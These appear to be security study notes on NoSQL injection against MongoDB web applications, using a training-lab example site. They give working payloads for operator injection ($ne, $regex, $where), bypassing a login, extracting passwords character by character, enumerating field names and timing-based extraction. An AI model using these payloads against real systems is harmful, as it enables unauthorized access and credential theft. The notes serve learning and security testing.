NoSQL injection
Types of NoSQL injection
Syntax injection - when you can break the NoSQL query syntax, enabling the injection (likeSQLi).
Operator injection - when you can use NoSQL query operators to manipulate queries.
NoSQL syntax injection
Consider:
https://insecure-website.com/product/lookup?category=fizzy
This causes the application to send a JSON query to retrieve relevant products from the
product
collection in the MongoDB database:this.category == 'fizzy'
Inject:
'
->this.category == '''
If this causes a change from the original response, this may indicate that the
'
character has broken the query syntax and caused a syntax error.
Confirm this by submitting a valid query string in the input, e.g.:
\'
->this.category == '\''
If this doesn't cause a syntax error, this may mean that the application is vulnerable to an injection attack.
Confirming conditional behavior
If the application behaves differently suggests that the false condition impacts the query logic, but the true condition doesn't.
Overriding existing conditions
The modified query returns all items (all the products in any category).
Warn: If an application uses it when updating or deleting data, for example, this can result in accidental data loss.
Null character
MongoDB may ignore all characters after a null character. This means that any additional conditions on the MongoDB query are ignored.
NoSQL operator injection
JSON example:
{"username":"wiener"}
->{"username":{"$ne":"invalid"}}
URL parameters:
username=wiener
->username[$ne]=invalid
If this doesn't work, you can try the following (or use Content Type Converter burp exts):
Convert the request method from
GET
toPOST
.Change the
Content-Type
header toapplication/json
.Add JSON to the message body.
Inject query operators in the JSON.
Testing
Other tests
Example:
{"username":"wiener","password":"peter"}
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
This query returns all login credentials where both the username and password are not equal to
invalid
. As a result, you're logged into the application as the first user in the collection.
Extract data
INSIDE $WHERE
Consider
https://insecure-website.com/user/lookup?username=admin
This results in the following NoSQL query of the
users
collection:{"$where":"this.username == 'admin'"}
As the query uses the
$where
operator, you can attempt to inject JavaScript functions.admin' && this.password[0] == 'a' || 'a'=='b
This returns the first character of the user's password string. You can go on...
admin' && this.password.match(/\d/) || 'a'=='b
Identify whether the password contains digits
INJECT OPERATOR (where)
Consider
{"username":"wiener","password":"peter"}
Add
$where
operator as an additional parameter. Send one true request and one false request.{"username":"wiener","password":"peter", "$where":"0"}
{"username":"wiener","password":"peter", "$where":"1"}
Different responses? This may indicate that the JavaScript expression in the
$where
clause is being evaluated
INJECT OPERATOR (regex)
Consider
{"username":"myuser","password":"mypass"}
{"username":"myuser","password":"incorrect"}
(incorrect password){"username":"admin","password":{"$regex":"^.*"}}
Different responses? The app may be vulnerable
{"username":"admin","password":{"$regex":"^a*"}}
Extract data character by character
Identify field names
FIRST WAY
Send the payload for an existing field and for a field that doesn't exist.
Example
admin' && this.username!='
(you knowusername
field exists)admin' && this.foo!='
(you knowfoo
field doesn't exist)admin' && this.password!='
(you want identifypassword
field)https://insecure-website.com/user/lookup?username=admin'+%26%26+this.password!%3d'
If the
password
field exists, you'd expect the response to be identical to the response for the existing field (username
), but different to the response for the field that doesn't exist (foo
).
SECOND WAY
You can inject operator?
"$where":"Object.keys(this)[0].match('^.{0}a.*')"
This query selects documents where the first key (field) of the document starts with the letter "a". You can extract the field name char by char
Timing based injection
Database error doesn't cause a difference in the application's response? Trigger a conditional time delay
Load the page several times to determine a baseline loading time.
Insert a timing based payload into the input. Example
{"$where": "sleep(5000)"}
Identify whether the response loads more slowly
Trigger a time delay if the password beings with the letter
a
admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'
Last updated